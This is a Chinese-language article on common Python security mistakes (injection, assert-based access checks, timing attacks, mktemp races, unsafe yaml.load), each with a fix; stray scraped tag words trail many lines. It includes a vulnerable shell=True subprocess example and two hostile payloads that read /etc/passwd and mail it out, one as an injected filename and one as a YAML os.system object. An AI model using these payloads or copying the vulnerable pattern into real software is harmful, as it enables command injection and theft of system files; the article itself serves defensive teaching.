簡評:編寫安全代碼很困難,當你學習一個編程語言、模塊或框架時,你會學習其使用方法。 在考慮安全性時,你須要考慮如何避免被濫用,Python 也不例外,即便在標準庫中,也存在用於編寫應用的不良實踐。然而,許多 Python 開發人員卻根本不知道它們。python
注入攻擊很是普遍並且很常見,注入有不少種類,它們影響全部的語言、框架和環境。算法
SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時將字符串字面量與變量混合。我讀過不少代碼,其中「escaping quotes」被認爲是一種修復,但事實並不是如此,能夠經過這個連接查看 SQL 注入全部可能發生的複雜方式。shell
命令注入可能在使用 popen、subprocess、os.system 調用一個進程並從變量中獲取參數時發生,當調用本地命令時,有人可能會將某些值設置爲惡意值。編程
下面是個簡單的腳本,使用用戶提供的文件名調用子進程:api
import subprocess def transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea!
攻擊者會將 filename 的值設置爲「; cat / etc / passwd | mail them@domain.com 或者其餘一樣危險的東西。安全
修復:服務器
若是你使用了 Web 框架,能夠用附帶的實用程序對輸入進行清理,除非有充分的理由,不然不要手動構建 SQL 查詢,大多數 ORM 都具備內置的消毒方法。網絡
對於 shell,可使用 shlex 模塊正確地轉義輸入。app
不要使用 assert 語句來防止用戶訪問不該訪問的代碼段。框架
def foo(request, user): assert user.is_admin, 「user does not have access」 # secure code...
如今,默認狀況下,Python 以 debug 爲 true 來執行腳本,但在生產環境中,一般使用優化運行,這將會跳過 assert 語句並直接轉到安全代碼,而無論用戶是不是 is_admin。
修復:
僅在與其餘開發人員進行通訊時使用 assert 語句,例如在單元測試中或爲了防止不正確的 API 使用。
計時攻擊本質上是一種經過計時比較提供值所需時間來暴露行爲和算法的方式。計時攻擊須要精確性,因此一般不能用於高延遲的遠程網絡。因爲大多數 Web 應用程序涉及可變延遲,所以幾乎不可能在 HTTP Web 服務器上編寫計時攻擊。
可是,若是你有提示輸入密碼的命令行應用程序,則攻擊者能夠編寫一個簡單的腳原本計算將其值與實際密碼進行比較所需的時間。
修復:
使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其餘私密值。
要在 Python 中建立臨時文件,一般使用 mktemp() 函數生成一個文件名,而後使用該名稱建立一個文件。 「這是不安全的,由於另外一個進程可能會在調用 mktemp() 和隨後嘗試經過第一個進程建立文件之間的空隙建立一個同名文件。」這意味着應用程序可能加載錯誤的數據或暴露其餘的臨時數據。
若是調用不正確的方法,則最新版本的 Python 會拋出運行警告。
修復:
若是須要生成臨時文件,請使用 tempfile 模塊並使用 mkstemp。
引用 PyYAML 文檔:
警告:使用從不可信源接收到的數據來調用 yaml.load 是不安全的! yaml.load 和pickle.load 同樣強大,因此能夠調用任何 Python 函數。 在流行的 Python 項目 Ansible 中找到的這個美麗的例子,你能夠將此值做爲(有效)YAML 提供給 Ansible Vault,它使用文件中提供的參數調用 os.system()。
!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"] 因此,從用戶提供的值中有效地加載 YAML 文件會讓應用對攻擊打開大門。
修復:
老是使用 yaml.safe_load,除非你有一個很是好的理由。